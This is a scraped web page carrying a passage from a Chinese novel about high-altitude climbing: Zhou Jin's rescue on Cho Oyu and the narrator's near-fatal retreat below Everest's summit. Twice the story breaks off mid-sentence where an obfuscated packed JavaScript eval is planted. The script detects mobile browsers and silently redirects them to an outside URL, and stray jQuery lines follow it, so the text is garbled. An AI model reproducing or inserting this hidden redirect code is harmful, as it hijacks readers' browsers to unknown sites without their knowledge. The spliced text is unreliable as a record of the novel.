在死亡边缘游走的周进使劲朝我们动了动嘴唇,我们赶紧把耳朵凑近。他用僵直的舌头机械地润了润嘴唇,轻声说:“你们都先下撤吧!我一个人在这里等待救援就行。作为登山者,你们永远要保持足够的理性!不要做毫无意义的陪伴!”说话间吸入肺部的冷空气,强烈刺激了仍在不停流血的肺部,伴随着一阵急促的咳嗽,大口粉红色的鲜血如箭般喷射在他胸前的衣服上。
我走出帐篷,孤单地站在漆黑的雪夜里,心中满是失落与悲伤。仰起头,无助地看着风雪交加的漆黑夜空,生怕低下头,眼泪就会变成冰疙瘩掉下来。
良久,我转身再次回到帐篷里,询问仍在与大本营沟通的高山向导,他预计救援队最快也需要10小时后才能到达C3营地。这时,一旁的阿旺桑珠向我们3人示意,一起到帐篷外面商量接下来该怎么办。我们继续留在海拔7550米的C3营地,对周进于事无补,也没有实质性意义,反而会让我们集体陷入危险境地。经我们4人反复商议,做出了一个极为艰难的决定:把身上能取下的保暖衣物全部盖在周进身上,保温壶里大部分的葡萄糖热水也留给他。
我们再次加固了帐篷四周的锚钉,关好帐篷,怀着极为沉重的心情,不时回望着风雪中孤独的C3营地,快速下撤。
周进24岁进入湖南洪州市六九饲料厂,后来该厂被合并入宋二海创立的湖南洪州市神牛饲料公司,再后来发展成了宋人神集团。他在宋人神一干就是二十多年,兢兢业业,鞠躬尽瘁。
在改革开放的潮头下,借着人口红利与政策的春风,宋人神集团快速发展成为营业额超百这是一家资产达亿元规模的农牧企业。或许是一夜崛起的光芒晃花了宋二海的双眼,或许是多年来对公司的强权统治滋生了他极度的自负。他总将自己幻想成时代的缔造者,困在自我设限的孤岛中,以扭曲而自恋的方式构建着不朽的自我传奇,企图操控甚至碾压身边每一个人的思想。他不断宣扬对权威的崇拜等同于高尚无私,宏大的集体荣耀凌驾于个人一切之上,再通过他那些所谓的伟大思想和响亮口号,让所有员工陷入集体无意识的状态,放弃独立思考,牺牲自我去帮他实现个人的美好愿景与雄伟大业。
人生终究是一场无法回头的旅程,在足够漫长的时间尺度里,不会留下任何痕迹。在这场向死而生的单程旅途中,唯有江上的清风与山间的明月,耳朵听到便成了声音,眼睛看到便成了景色。所经历的一切、所见到的一切、所感受到的一切、所尽到的责任与义务,便是生命的全部意义。虚妄的英雄、缥缈的名利,就像暴风雪肆虐的雪原上轻轻走过的足迹,无论你如何不舍与留恋,都不可能长久存在。或许我们每个人的人生在死亡面前,本质上都注定是一场徒劳的挣扎,一团至死方休的欲望,一次毫无意义的修行。
周进独自躺在海拔7550米的C3营地,在零下30度的冰雪寒流中,已处于濒死状态。垂死挣扎的他,如同狂风中的烛火,随时都可能在一瞬间熄灭。
夜色如墨,孤寂如海。救援的希望十分渺茫,他只能在绝望的煎熬中静静等待死亡。最悲怆的孤独,不是世界只剩下自己,而是自己一个人就是全世界。
那些曾经比卓奥友峰还要厚重的亲情与友情,还要沉重的期盼与寄托;那些曾经根植在他意识深处的、所谓伟大的宋二海的指导思想;还有那些坚定的、所谓高尚的宋二海的响亮口号,此刻都已变得像雪花一样轻薄,繁星一般遥远。
当周进再次看见我们时,是在日喀则医院的病房里。
阿旺桑珠的脸颊依旧黝黑泛红,松树皮般粗糙的手交叉着,规规矩矩地放在身前。他布满血丝的双眼散发着坚毅的光芒,神情依然憨态可掬,笑容依旧纯真无邪!
阿旺桑珠似乎从不觉得自己痛苦或不快乐。也许我们人生中大部分的快乐,都源于思想的淳朴与简单;大部分的痛苦,则源于想法的纷乱与复杂。
人间并非净土,众生皆有苦楚。高山向导是一份极其危险、极其艰苦的职业,但穷困的藏族同胞和夏尔巴人却无法选择自己的命运。有时候穷苦人的悲欢离合,唯有自我救赎。
“我是怎么来到这里的?”周进有些不敢相信眼前的一切,努力动了动手指与脚趾,又伸手摸了摸鼻子和脸颊,长长舒了一口气,安心下来,疑惑不解地问道。
我起身给周进倒了一杯温开水,又转头看了看阿旺桑珠,缓缓对他说:“当我们下撤到海拔7200米时,碰上了一支来自西班牙的登山队,阿旺桑珠跟他们描述了你的情况及位置,并请求他们为你提供一个高山氧气瓶。然后我们继续下撤到海拔6800米时,碰上了前来营救你的救援队,阿旺桑珠再次跟他们说明完你的处境及位置后,又继续下撤到了海拔5700米的前进营地。”
“我们要感谢那支来自西班牙的登山队,他们不惜错过登顶的最佳时间,也要全力以赴投入到对你的救援中。”不知何时,参与营救的救援队队长冈仁取顶悄悄走进病房接过我的话,继续补充道。
冈仁取顶看着窗外远处雄伟的扎什伦布寺,缓缓回忆起那场惊心动魄、充满人性光辉的营救。
“我们刚刚快速攀登到海拔7300米时,看见前方不远处的山脊上有一组队伍正快速迎着我们走来,从头灯数量可以清晰地看出那是一组12人的登山队。
当我们快速靠近时,我发现你早已不省人事,躺在一张帐篷布上。他们在有积雪的平坦处拖拽着帐篷布下撤,在陡峭的地方,则多人合力抬起帐篷,缓缓下撤。不过,你正使用氧气面罩均匀地呼吸着,体温和心跳频率都在正常范围,身体情
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334309|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
况并没有进一步恶化,只是处于暂他处于暂时性的昏迷状态。还没等我开口询问,队伍最前面那位高大的西班牙领队便走上前来,摘下氧气面罩,用生硬的中文向我们一行人说明情况。他说:“你们好!我们是来自西班牙的登山队,我叫塞尔吉奥·拉莫斯。我们在C3营地遇到这位生命垂危的山友,情况十分危急,因此我们暂缓了登顶计划,转而协助他下撤。自从给他使用氧气瓶后,他的状况已有所好转,目前体温、心率和呼吸都处于正常范围。请问你们是专程来营救这位山友的救援队吗?”我立刻上前回应:“是的,我们是专程来营救这位队员的。非常感谢你们为他提供的所有帮助,现在可以把他交给我们,由我们接力完成后续救援。”由于情况紧急、时间紧迫,且身处氧气稀薄的极高海拔,我们没有过多交流与寒暄。我一边向他们道谢,一边示意救援队从他们手中接过你。我们还回赠了两瓶高山氧气瓶,并补充了一些食物及其他物资给他们。从你们向大本营发出救援呼叫的那一刻起,卓奥友峰上所有山友都暂停了休整、拉练或冲顶,全力以赴投入到对你的救援中。在至高无上的生命面前,登顶的荣耀显得微不足道——登顶可以重来,生命却只有一次。
当东方泛白的时候,我们带着你下撤到了海拔7000米左右,又碰上了大本营派来的第二支救援队,他们当中有背着高空滑翔伞的意大利人——因扎吉。
‘赶紧把他绑在滑翔伞上,让这位意大利朋友带他到前进营地,那里有一架救援直升机在等候!’第二支救援队的队长见面了解完你的情况后,对随行的队员指挥着说。
我们给你强行灌了一点葡萄糖热水,戴紧氧气面罩,高山氧气瓶的阀门调到最大,系紧你的头盔和安全带,快速把你牢牢绑在滑翔伞上。
几个队员迎着急速奔流的寒风,展开了滑翔伞的翼型伞衣,翼伞迅速冲压膨胀,腾空而起。绷紧的伞绳拽起你和因扎吉,翱翔在朝霞初升的天际。因扎吉操控着滑翔伞,时而转弯,时而速降,在漫天的金色霞光中,仿佛天神下凡,拯救苍生于危难。大约30分钟后,因扎吉操控着滑翔伞,稳健地降落在海拔5700米处,前进营地的开阔地带上。
一架救援直升机,早已停在距离前进营地不远处的空地上,整装待飞。一排标枪般等候着的藏族同胞年轻人,猎豹一样窜到滑翔伞旁边,迅捷地把你与氧气瓶一起簇拥着,抬上直升机。”
阿旺桑珠干咳了几声,咽了一口痰,接着继续讲述。
“阿旺桑珠在因扎吉驾驶着滑翔伞降落在前进营地的时候,他已经下撤到了前进营地,而我与另外两名高山向导,还在距离前进营地数百米高的冰坡上。
我远远听见直升机涡轮轴发动机发出澎湃的轰鸣声。强大的扭矩催动着四片修长的桨叶旋翼,快速转动起来。高速旋转的桨叶压迫空气,为机身带来浑厚的升力。我看见直升机缓缓垂直升起,然后悬停在数百米的高空,用桨叶微微调整了一下方向,朝着日喀则的方向急速飞去。
前进营地的帐篷被高速旋转的气流扰动得左摇右晃,雪雾冰尘四处飞扬。因扎吉及前进营地的山友朝着直升机飞去的方向,默默地双手合十,低头为你祈求平安。”
“他们现在在什么地方?我要当面感谢他们的救命之恩。”周进看着我们,焦急地询问着。
阿旺桑珠轻轻叹了一口气,遗憾地说:“由于错过了登顶的最佳窗口期,西班牙登山队在暴风雪中冲顶失败,但全队均安全下撤到了大本营。昨天他们与因扎吉都已返回拉萨,准备明天早上从拉萨飞往广州,然后从广州转机飞回他们的祖国。”阿旺桑珠顿了顿,继续补充:“不过,他们说,明年还会再来攀登卓奥友峰!”
在宋人神集团打工多年,也曾创业失败过的周进,见惯了尔虞我诈,老谋深算的足智多谋;见利忘义,阳奉阴违的处世之道;事不关己,高高挂起的明哲保身;见人说人话,见鬼说鬼话的传统话术。而这些简单直接、真诚朴实的山友,让他由衷地感动,刻骨铭心地感激。
“现在你感觉身体怎么样?”阿旺桑珠看了看床头柜上,放着的各种检验化验报告单,关切地问。
“高山反应引起脑水肿的症状都消失了,只是肺部及胸腔还会有些隐隐作痛。不过,我想再过几天就应该可以痊愈了。”周进轻声咳嗽着回答。
“可能在今后在很长的一段时间之内,你都不能再登高海拔的山峰。因为你年纪偏大,当时肺水肿过于严重,还有明显的失温症状叠加,所以你的肺部已经留下了永不可逆的病灶!”阿旺桑珠神色有些凝重,忧心忡忡地继续给周进建议。
“也许人生本就没有什么所谓的输赢,只要能活着,便都是人生的赢家。只有从世俗虚荣的角度去定义它,去攀比它,去看待它,人生才会有所谓辉煌、成功、失败与黯淡。在我们现实的生活当中,也到处都是高山。我们每个人的人生,何尝不是一座独一无二的高山呢?一座只有自己才能完成攀登的、自认为的、所谓的‘巅峰’呢?无论我们多么千辛万苦爬上山顶,但最终还是要下撤到那个最初的原点!经过这次劫难,我看清了很多东西,也想明白了很多道理,其实我在长沙的家里,也可以攀登自己心中的那座高山。”周进仿佛若有所悟,自我安慰着说。
他静静看着窗外远处的扎什伦布寺,过了一会儿,转头看着我的眼睛,意味深长地说:“曾经我很仰视宋二海,后来渐渐变成了只是羡慕他很有钱,几年前我开始慢慢地平视他,但现在我对他,更多是报以一种慈悲的同情,一种人道主义的怜悯。他是时刻渴望着别人崇拜他为英雄传奇,始终活在别人看法里的可怜虫;他是从不敢面对自己内心的脆弱,不敢正视自己的缺点和不完美,不敢接受自己平凡的胆小鬼;他和你老家的父老乡亲,殊途同归,是两种不同方式的极端贫穷;他没有任何精神家园可言,只有最原始本能的占有欲、权力欲与控制欲;他自己不顾一切地崇拜权威和权力,像奴隶一样匍匐在别人的脚下,却还要想尽办法诱导或强迫别人像他一样,也成为别人的奴隶;他的脸上总是充满一种焦虑和贪婪的神情,永远看不到平静安详和灿烂的笑容。金钱利益是他唯一的信仰,眼里只有趋利避害的贪得无厌与不择手段的唯利是图。他领导管理下的宋人神集团,让所有人都跪拜在权力权威的脚下,包括他自己。宋人神集团也不像一个世界主流文明中的大企业,更像一棵爬满猴子的大树,当大树上的猴子低头向下看时,看到的全是笑脸,抬头向上看时,看到的全是红色屁股。”
20. 第 20 章
2019年4月份,我再次来到西藏日喀则的定日县,准备在5月中旬攀登珠穆朗玛峰。珠穆朗玛峰海拔8848.86米,是世界第一高峰,地处喜马拉雅山脉中段,高高耸立在中国与尼泊尔的边界上。从中国面远远望去,像一只振翅高飞的雄鹰,圣洁而巍峨雄壮。
无论从它北面中国境内的传统路线登顶,还是从它南面尼泊尔境内的传统路线攀登,整个登山周期需要40天左右。如果从尼泊尔境内攀登,最大的障碍是经常移动变换、凶险万分的昆布冰川。从中国境内登顶,最大的天险则是爬升难度极大,从海拔6500米到7028米的北坳冰壁。
在从中国境内传统的攀登路线上,设有两个大本营,均位于东绒布冰川的末端。一个是专供游客参观的大本营,公路已经直接修到了大本营的门口,建立在海拔5050米的开阔地带上。另外一个真正的登山大本营,则需要再往珠穆朗玛峰方向前行1.5公里左右,建立在海拔5200米的扇形戈壁上。
攀登的过渡营地设在东绒布冰川中段,靠近章子峰一侧,海拔5800米处,相对平坦的碎石坡上,营地距离雄伟的东绒布冰塔林,近在咫尺。
再往上是设在群山环绕之间,呈S地形,海拔6500米的前进营地。前进营地的东面是海拔7018米的向东峰,正面是海拔8848.86米的珠穆朗玛峰,西面是海拔7543米的章子峰。在这个呈S地形的营地上,几乎所有的登山者都会发生高山反应,甚至连大部分的职业高山向导也会发生高山反应,所以前进营地也称为“魔鬼营地”。
北坳冰壁就在魔鬼营地的正前方,是连接在珠穆朗玛峰与章子峰之间一道形似马鞍状的坳谷。整个冰壁的平均坡度超过50度,最大坡度超过80度,成为从东绒布冰川方向,攀登珠穆朗玛峰的必经之路,被誉为珠穆朗玛峰的东北大门。站在北坳冰壁的下方,高近500米、无比陡峭险峻的冰壁,给人一种十分强烈的压迫感,让人望而生畏,不想靠近。高耸入云霄的珠穆朗玛峰就在冰壁的正后方。
在北坳冰壁适应性拉练的第19天,我们登山队还曾经遭遇过一场雪崩。
那天,我们正在冰壁上练习使用上升器及安全绳。天空洁净而湛蓝,轻柔缥缈的流云悬浮在半山腰上。远古的冰川,反射着夺目的白光。深不见底的冰裂缝纵横交错,散发着阴森逼人的寒气。千万年的冰塔林泛起幽幽的鬼魅蓝光。举目四顾,天地之间一片银装素裹,晶莹剔透。一切都是那么的美好与安详,那么的和谐与自然。
忽然冰壁顶部传来“咔嚓”的一声脆响,走在我前面的次仁多吉惊恐地回头对我们大声高喊:“是冰雪层断裂的声音!马上就要雪崩啦!大家赶紧找冰山作为掩体,躲在它们的背后!”次仁多吉、阿旺桑珠、次旺顿珠3人不约而同地挥舞起冰镐,指挥大家迅速隐蔽在一座高大的冰山后面。只见在我们的斜上方,靠近章子峰不远处的冰壁上,缓缓出现了一道很长的横向裂缝。随着裂缝的不断增宽加长,横向的大片冰雪块开始向下慢慢移动。冰雪块在持续重力作用的加速下,不断向下快速滑动,渐渐获得了强大的动能,进一步带动着、挤压着、裹挟着下方的冰雪块,加速向下滚动。不一会儿,冰雪块层层叠叠堆积起来,形同小山,同时向下旋转翻滚的速度,也越来越快。十几秒钟后,开始形成一条由雪团、冰块组成的混合流体,发出“刷刷”向下奔涌的声音。又过了十几秒,便迅速变成了一条急速狂奔而下的白色巨龙。腾云驾雾般呼啸着,以雷霆万钧之势,向下急速飞驰而来。前方的雪团冰块快速地疯狂翻滚着,白色的巨龙越滚越粗,越滚越长。当翻滚到冰壁中部时,被高速旋转的离心力分流成很多条齐头并进、暴怒的白色巨龙群。它们一起顺着坡度的方向咆哮着持续加速,以迅雷不及掩耳之势飞泻而下。旋风卷起的雪粒碎冰,遮天蔽日,让整个冰壁处于一片白茫茫的朦胧当中。排山倒海的雪浪冰块,撕破稀薄的空气,发出震耳欲聋的巨响,地动山摇的怒吼。虽然雪崩的路径在距离我们在数百米开外,但撕破空气形成的强大横风,夹杂着漫天的冰尘雪雾,还是让我们站立不稳、惶恐不安、心有余悸。
5月8日上午,我们一行28人,从海拔5200米的大本营整装出发,开始正式攀登珠穆朗玛峰。
第1天,我们与驮着登山装备及行李的牦牛群一起顺利到达海拔5800米的过渡营地。
第2天,我们穿过雄伟壮丽的东绒布冰川,安全到达海拔6500米的“魔鬼营地”,并度过了较为艰难的一夜。
第3天,我们从疲惫不堪的牦牛群背上,接过自己的登山装备、食物及高山瓦斯等。各自背负着装备,小心翼翼地成功越过高500米、坡度50度左右的北坳冰壁,顺利到达海拔7028米,设在北拗冰壁顶端冰面上的C1营地。
第4天,所有队员用登山绳索连接在一起,结队快速通过常年风速超9级的“大风口”,抵达海拔7790米,设立在35度左右的雪坡岩壁上的C2营地。在C2营地,无论是进出帐篷,还是睡觉休息都得格外小心谨慎,稍不留神就会滚落山崖。
第5天,在极度疲惫和困乏中,我们异常艰难到达海拔8300米的C3营地。C3营地搭建在冰雪与岩石混合,40度左右斜坡上,睡觉就像斜靠在墙壁上一样,几乎只能仰面平躺着休息。此时距离海拔8848.86米的世界之巅,垂直距离只有500多米,我和所有的队员一样兴奋、紧张、刺激,也有些忐忑不安和恐惧。这一夜我们基本都没有入睡,静静在帐篷里闭目养神、养精蓄锐,静待凌晨的冲顶。
第6天,凌晨2点左右,我拖着沉重双腿走出帐篷的时候,头痛如裂,但还是咬牙坚持跟随在队伍的后面,开始向海拔8848.86米的顶峰发起冲击。经过1个多小时的艰难攀登,我们到达海拔8550米的第一台阶。面对65度左右的岩壁,我双腿颤抖不止,有种满身鸡皮疙瘩、毛发倒竖的惧怕感,内心几次想要放弃,但在登顶荣耀的诱惑下,以及次仁多吉的帮助下,还是异常艰难地爬到了岩壁的上方。
大约在凌晨4点30分,我在迷迷糊糊的昏沉中到达放置有传说中“中国梯”,海拔8680米的第二台阶。在极度疲倦与困顿中,我的身体已处于虚脱的边缘。站在岩壁的下方,我把氧气瓶的阀门开到最大,不断地大口深呼吸,尽可能地让自己的头脑保持清醒。我补充了几口葡萄糖热水,希望让自己尽快恢复一些体力。面对高约6米,坡度超75度的岩壁,我当时胆怯极了,也害怕极了,但还是在意识模糊中,用尽全力爬完6米多的“中国梯”。我站在岩壁的顶部,浑身不由自主地激烈颤抖起来,每向前挪动一步,仿佛双腿都有千钧之重。我只能蹲下去死死拽住铺设好的路绳,缓慢挪过暴露感很强的横切山脊,再手脚并用爬上一段斜坡。借着头灯的亮光,我抬眼就能看见海拔8750米的第三台阶。只要翻过第三台阶,再走一段暴露感极强的横切岩壁,然后就可以成功到达海拔8848.86米的世界之巅。但此时,我全身依然颤抖不止,并产生了幻觉,几次看见我早已去世的母亲和奶奶,她们不停地向我招手,呼唤着我的名字,让我早点安全回家。不知过了多久,我从幻觉中惊醒,看见次仁多吉在我身旁不停地摇晃着我,并大声地呼喊着王老七。
我有种强烈的不祥预感,直觉也一再提醒我:应该理智地放弃登顶,迅速下撤。次仁多吉与队长也建议我放弃登顶,赶紧快速下撤。经过短暂的挣扎与纠结,我终于放下了长期以来所坚持的执念,做出了下撤的艰难决定,放弃了只要再攀登垂直高度100多米,就能站上海拔8848.86米世界之巅的机会。
次仁多吉用一条安全绳把我们两人连接在一起,我缓慢地走在前面。他紧紧拽住我,跟随在后面,艰难下撤到海拔8300米的C3营地时,已经是早上10点多钟,气温也随着太阳的升起微微变得暖和了一些,但依然是-25度。我们在帐篷里更换了新的备用氧气瓶,也补充了一些食物及热水。在帐篷里短暂休息了2个多小时,稍微恢复了一些体力,我们继续艰难下撤。
次仁多吉头灯电池的电量,在下撤到海拔7850米时已经彻底耗尽,借着我头灯微弱的亮光,两个人勉强摸索着,于晚上10点30分左右,下撤到海拔7790米的C2营地,此时我的头灯也彻底熄灭。次仁多吉和我并排躺在帐篷里,在9级以上的暴风雪中,零下31摄氏度的极寒里,我们呼出含有少量水分的热气,还来不及外溢出帐篷便迅速变成冰尘落下来,并在我们的头发和睡袋表面结成冰。我无意识地全身颤抖着,牙齿咬得咯咯作响,已有明显的失温症状。暴风雪吹得帐篷呼呼作响,东倒西歪,时刻都会有被吹走的危险。我冰冷僵直的身体忽然感觉从天灵盖处流入一股暖流,迅速传遍四肢百骸,让我全身感到无比的温暖、无比的舒畅、无比的愉悦。我不再感到寒冷、头痛如裂、疲惫困乏,我缓缓地闭上眼睛,仿佛进入了天堂般的幸福快乐。我脑海忽然闪现过队医在培训时所讲过的回光返照:“人在进入死亡前的最后几分钟,身体会调动所有能调动的一切能量,让身体感到无比愉悦与舒畅。如果这个时候,你闭上眼睛睡去,将永远再也不会醒来。”想到温顺接受“回光返照”的后果,我心头为之一振,用仅存的意志力努力不让自己沉沉睡去,拼命地用力睁开眼睛,便听见次仁多吉在我旁边正大声呼喊我的声音,感觉到他正在用力摇晃着我的身体。我拼尽全力在喉咙里答应了他一声。他把我扶起来,摸着黑用
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334310|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
保温杯盖喂给了我一盖葡萄糖热水,快速把帐篷里所有的睡袋全部盖在我身上。然后他说我已经昏迷过去了20多分钟,嘴里仿佛还在不停迷迷糊糊、支支吾吾地讲述着一些什么事情,他费了很大的劲才把我叫醒。他有些伤感地接着说:“你要安全下撤到大本营,千万不要永远留在珠穆朗玛峰上。长眠在珠穆朗玛峰上的登山者,已经有数百人之多,其中有很多遗体已成为海拔高度的标识,或成为后来登山者的路标。”
他顿了顿说:“我已经跟大本营联系上了,大本营说他们前几天已经往C1营地又运送了一些备用食物、头灯、高山瓦斯和氧气瓶,我们只要能顺利到达那里就算相对安全了。”
从严格意义上来说,我已经有7天7夜没能进入过深度睡眠,在最近的3天3夜里,更是连进入浅睡眠的时间都是断断续续、朦朦胧胧,似睡非睡。在海拔8000米左右的高度,不仅是极度寒冷,而且空气中的氧气含量只有海平面的26%左右。尽管如此,每天还需聚精会神,耗费大量的体力在高海拔攀登。
我在C2营地昏昏沉沉、迷迷糊糊休息了2个多小时。次日凌晨1点左右,同队伍成功登顶后,有几个体力恢复快的队友,也快速下撤到了C2营地。他们给我们留下一盏头灯后,继续向C1营地的方向匆匆下撤。
我挣扎着用力吃了块冰棍一样的巧克力,坐在雪地上,在漫无边际的黑暗里,继续挪动着身体向C1营地方向下撤。在凌晨3点50分左右,经过3个多小时的蠕动,极其艰难地下撤到了海拔7600米。我像一具已经快死透的尸体一样瘫倒在雪地里,感觉自己的身体除了大脑以外,已经没有一个部位属于我,没有一个部位能再受我的支配。我实在连一步都不想再往下挪动了,也不想再做任何努力与挣扎!我想放弃自己,让自己的生命就此结束在这里!
我挣扎着告诉次仁多吉不用再管我了,让他继续下撤到C1营地去吧!然后我缓缓闭上了眼睛,我母亲和奶奶也再度出现,依然不停地呼唤着我的名字。我的孩子们,我的亲人们,还有我爱的人和爱我的人,他们一个个浮现在我的眼前。他们微笑着向我走来,不断地提醒着我要早点回家,平安回家,他们会永远在家等我。
在那个风雪交加,奄奄一息,死神持续在我身边徘徊的暗夜里,从我十三岁离开家乡,一直到此时此刻,二十多年所走过的种种人生历程,难忘的、感动的、痛苦的、挣扎的、彷徨的、开心的、幸福的一幕幕像电影画面一样,在生死弥留之际,被清晰地逐一快速回忆起来。
人类在大自然面前是如此渺小,如此脆弱,而个体的生命在人类中又是那么的可有可无。我爱的每一个人,认识的每一个人,此时此刻都距离我是那么的遥不可及,那样的难以触摸,那样的难以靠近。那些我曾经认为拥有的一切,认同的一切,喜欢的一切,痛恨的一切,厌恶的一切,此时此刻都显得是那么的不足挂齿。我曾经坚持的自以为是,自我坚信的固执己见,自我信奉的真知灼见,此时此刻都显得那么的微不足道。曾经的妄自菲薄是何等自卑;曾经的妄自尊大是何等无知;曾经追寻的虚荣是何等无趣;曾经希望他人设身处地的理解,是如此的不切实际;曾经渴望他人感同身受的怜悯,是如此的荒诞无稽。
在这个时刻都有可能告别人世,永远长眠在珠穆朗玛峰上的黑夜里,我第一次觉得自己对于世界,是多么的无足轻重,轻如鸿毛;第一次觉得把自己当成主角的过往,是多么的异想天开,痴人说梦;第一次觉得我过去是幸福的、充实的、无悔的。现在虽然濒临绝境,命悬一线,但我依然还是觉得自己是幸福的、充实的、无悔的。假如我永远长眠于此,我希望我的家人和朋友们,能像我自己对生命的理解那样,坦然面对,勇敢快乐地继续生活下去。假如我不幸成为珠穆朗玛峰海拔高度的标识,我感谢那些曾经霸凌过我的人,欺骗过我的人,伤害过我的人,算计过我的人,感谢你们曾经迫使我不得不持续保持学习与进步、反思与改变、包容与理解,是你们让我的人生充满辛酸苦辣、伤痛屈辱,但也因此变得更加多姿多彩、丰富完整,也正是这些伤痕造就了今天独一无二的我。我也希望那些曾因我向往独立自由、我行我素、喜欢简单直接的说话做事方式而受到过伤害的人,你们能够释怀过往,放下昨天的怨恨和执念,原谅别人等于释放自己,宽恕自己,或者在听到我离世的消息后,对我发出欢庆的鼓掌声。还有那些因我不轻易被传统礼教的束缚,不轻易被权威所驯服,不轻易被他人所同化,只问良知不谈立场,所导致与我有不同生活感想、不同思想见解、不同价值观取向的人,你们能够包容异己,接纳自己也接纳世界,开心快乐地生活,或者在听到我与世长辞的消息后,尽情对我发出欢呼的呐喊声。